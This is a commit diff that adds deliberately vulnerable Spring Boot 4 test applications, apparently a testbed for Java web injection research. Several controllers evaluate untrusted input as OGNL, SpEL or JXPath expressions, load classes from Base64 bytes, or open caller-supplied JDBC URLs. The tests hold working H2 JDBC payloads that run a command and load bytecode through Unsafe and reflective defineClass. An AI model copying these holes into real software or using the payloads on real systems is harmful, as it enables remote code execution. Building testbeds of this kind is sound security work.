fix: SpringBoot4 WebFlux Base64Utils not found

2026-09-21 22:50:42 +08:00 · 2026-08-25 22:08:36 +08:00
parent f28290f529
commit d240b37124
36 changed files with 1589 additions and 10 deletions
@@ -0,0 +1,8 @@
+FROM eclipse-temurin:17.0.17_10-jdk
+WORKDIR /app
+
+COPY build/libs/vul-springboot4-webflux.jar /app/app.jar
+
+EXPOSE 8080
+
+ENTRYPOINT java $JAVA_OPTS -jar app.jar
@@ -0,0 +1,15 @@
+plugins {
+    id("java")
+    id("org.springframework.boot") version "4.0.8"
+    id("io.spring.dependency-management") version "1.1.7"
+}
+
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(17)
+    }
+}
+
+dependencies {
+    implementation("org.springframework.boot:spring-boot-starter-webflux")
+}
@@ -0,0 +1,14 @@
+package com.reajason.javaweb.vul.springboot4;
+
+public class ClassDefiner extends ClassLoader {
+    public ClassDefiner() {
+    }
+
+    public ClassDefiner(ClassLoader parent) {
+        super(parent);
+    }
+
+    public Class<?> defineClass(byte[] code) {
+        return defineClass(null, code, 0, code.length);
+    }
+}
@@ -0,0 +1,13 @@
+package com.reajason.javaweb.vul.springboot4;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class VulSpringboot4Application {
+
+	public static void main(String[] args) {
+		SpringApplication.run(VulSpringboot4Application.class, args);
+	}
+
+}
@@ -0,0 +1,35 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import com.reajason.javaweb.vul.springboot4.ClassDefiner;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.server.ServerWebExchange;
+import reactor.core.publisher.Mono;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+@RequestMapping("/b64")
+public class Base64ClassLoaderController {
+
+    @PostMapping
+    public Mono<String> handleFormSubmission(ServerWebExchange exchange) {
+        return exchange.getFormData()
+                .flatMap(formData -> {
+                    String data = formData.getFirst("data");
+                    byte[] bytes = Base64.getDecoder().decode(data);
+                    Object o = null;
+                    try {
+                        o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance();
+                    } catch (Exception e) {
+                        throw new RuntimeException(e);
+                    }
+                    return Mono.just(o.toString());
+                });
+    }
+}
@@ -0,0 +1,123 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+public class IndexController {
+
+    @RequestMapping("/test")
+    public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
+        return "";
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) throws
+            Exception {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    @GetMapping("/")
+    public String index() {
+        return "hello";
+    }
+}
@@ -0,0 +1 @@
+spring.application.name=vul-springboot4
@@ -0,0 +1,8 @@
+FROM eclipse-temurin:17.0.17_10-jdk
+WORKDIR /app
+
+COPY build/libs/vul-springboot4.jar /app/app.jar
+
+EXPOSE 8080
+
+ENTRYPOINT java $JAVA_OPTS -jar app.jar
@@ -0,0 +1,28 @@
+plugins {
+    id("java")
+    id("war")
+    id("org.springframework.boot") version "4.0.8"
+    id("io.spring.dependency-management") version "1.1.7"
+}
+
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(17)
+    }
+}
+
+dependencies {
+    implementation("org.springframework.boot:spring-boot-starter-webmvc")
+    testImplementation("org.springframework.boot:spring-boot-starter-test")
+    testImplementation("org.junit.jupiter:junit-jupiter-api")
+    testImplementation("org.junit.jupiter:junit-jupiter")
+    testRuntimeOnly("org.junit.platform:junit-platform-launcher")
+    runtimeOnly("com.h2database:h2")
+    implementation("ognl:ognl:2.7.3")
+    implementation("commons-jxpath:commons-jxpath:1.3")
+    implementation("commons-beanutils:commons-beanutils:1.9.3")
+}
+
+tasks.test {
+    useJUnitPlatform()
+}
@@ -0,0 +1,10 @@
+package com.reajason.javaweb.vul.springboot4;
+
+public class ClassDefiner extends ClassLoader {
+    private ClassDefiner() {
+    }
+
+    public static Class<?> defineClass(byte[] code) {
+        return new ClassDefiner().defineClass(null, code, 0, code.length);
+    }
+}
@@ -0,0 +1,12 @@
+package com.reajason.javaweb.vul.springboot4;
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class VulSpringboot4Application {
+
+	public static void main(String[] args) {
+		SpringApplication.run(VulSpringboot4Application.class, args);
+	}
+}
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import com.reajason.javaweb.vul.springboot4.ClassDefiner;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+@RequestMapping("/b64")
+public class Base64ClassLoaderController {
+
+    @PostMapping
+    public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
+        byte[] bytes = Base64.getDecoder().decode(data);
+        Object o = ClassDefiner.defineClass(bytes).newInstance();
+        return o.toString();
+    }
+}
@@ -0,0 +1,24 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+@RestController
+@RequestMapping("/biginteger")
+public class BigIntegerClassLoaderController extends ClassLoader {
+    static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
+        Class<?> decoderClass = Class.forName("java.math.BigInteger");
+        return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
+    }
+
+    @PostMapping
+    public void base64ClassLoader(String data) throws Exception {
+        byte[] bytes = decodeBigInteger(data);
+        defineClass(null, bytes, 0, bytes.length).newInstance();
+    }
+}
@@ -0,0 +1,123 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+public class IndexController {
+
+    @RequestMapping("/test")
+    public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
+        return "";
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) throws
+            Exception {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    @GetMapping("/")
+    public String index() {
+        return "hello";
+    }
+}
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.Connection;
+import java.sql.DriverManager;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+@RestController
+public class JDBCController {
+
+    @PostMapping("/jdbc")
+    public void JDBC(String data) throws Exception {
+        try {
+            Connection connection = DriverManager.getConnection(data);
+            connection.close();
+        } catch (Throwable e) {
+            Throwable ex = e.getCause();
+            while (ex.getCause() != null) {
+                ex = ex.getCause();
+            }
+            if (!(ex instanceof ClassCastException)) {
+                throw e;
+            }
+        }
+    }
+}
@@ -0,0 +1,20 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import org.apache.commons.jxpath.JXPathContext;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+@RestController
+@RequestMapping("/jxpath")
+public class JXPathController {
+    @PostMapping
+    protected Object doPost(String data) {
+        JXPathContext context = JXPathContext.newContext(null);
+        return context.getValue(data);
+    }
+}
@@ -0,0 +1,25 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import ognl.Ognl;
+import ognl.OgnlContext;
+import ognl.OgnlException;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+@RestController
+@RequestMapping("/ognl")
+public class OgnlController {
+    @RequestMapping
+    protected Object doPost(String data) {
+        OgnlContext context = new OgnlContext();
+        try {
+            return Ognl.getValue(data, context, context.getRoot());
+        } catch (OgnlException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
@@ -0,0 +1,25 @@
+package com.reajason.javaweb.vul.springboot4.controller;
+
+import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/22
+ */
+@RestController
+@RequestMapping("/spel")
+public class SpELController {
+
+    /**
+     * 10000 长度限制，无法使用
+     */
+    @PostMapping
+    public ResponseEntity<?> spel(String data) {
+        return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
+    }
+}
@@ -0,0 +1 @@
+spring.application.name=vul-springboot4
@@ -0,0 +1,15 @@
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+public class CommandExec {
+    static {
+        try {
+            java.lang.Runtime.getRuntime().exec("open -a Calculator");
+        } catch (IOException e) {
+
+        }
+    }
+}
@@ -0,0 +1,54 @@
+import com.reajason.javaweb.vul.springboot4.controller.JDBCController;
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author ReaJason
+ * @since 2025/6/27
+ */
+public class JDBCTest {
+
+    @Test
+    void testJDBC() throws Exception {
+        JDBCController jdbcController = new JDBCController();
+        String funcionName = "testJDBC";
+        String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
+                "String shellexec(String abc) throws java.lang.Exception{" +
+                "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
+                "return \"test\"\\;" +
+                "}'\\;" +
+                "CALL " + funcionName + "('123')";
+        jdbcController.JDBC(str);
+    }
+
+    @Test
+    void testJDBC2() throws Exception {
+        JDBCController jdbcController = new JDBCController();
+        String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
+        String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
+                "String a(String a) throws java.lang.Throwable{" +
+                "String base64Str=\"" + b64Bytecode + "\"\\;" +
+                "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
+                "try {" +
+                "    java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
+                "    java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
+                "    unsafeField.setAccessible(true)\\;" +
+                "    java.lang.Object unsafe = unsafeField.get(null)\\;" +
+                "    java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
+                "    java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
+                "    long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
+                "    java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
+                "    java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
+                "    java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
+                "    getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
+                "} catch (Throwable e) {}" +
+                "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
+                "defMethod.setAccessible(true)\\;" +
+                "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
+                "myclass.newInstance()\\;" +
+                "return null\\;" +
+                "}'\\;" +
+                "CALL look('')";
+        System.out.println(str);
+        jdbcController.JDBC(str);
+    }
+}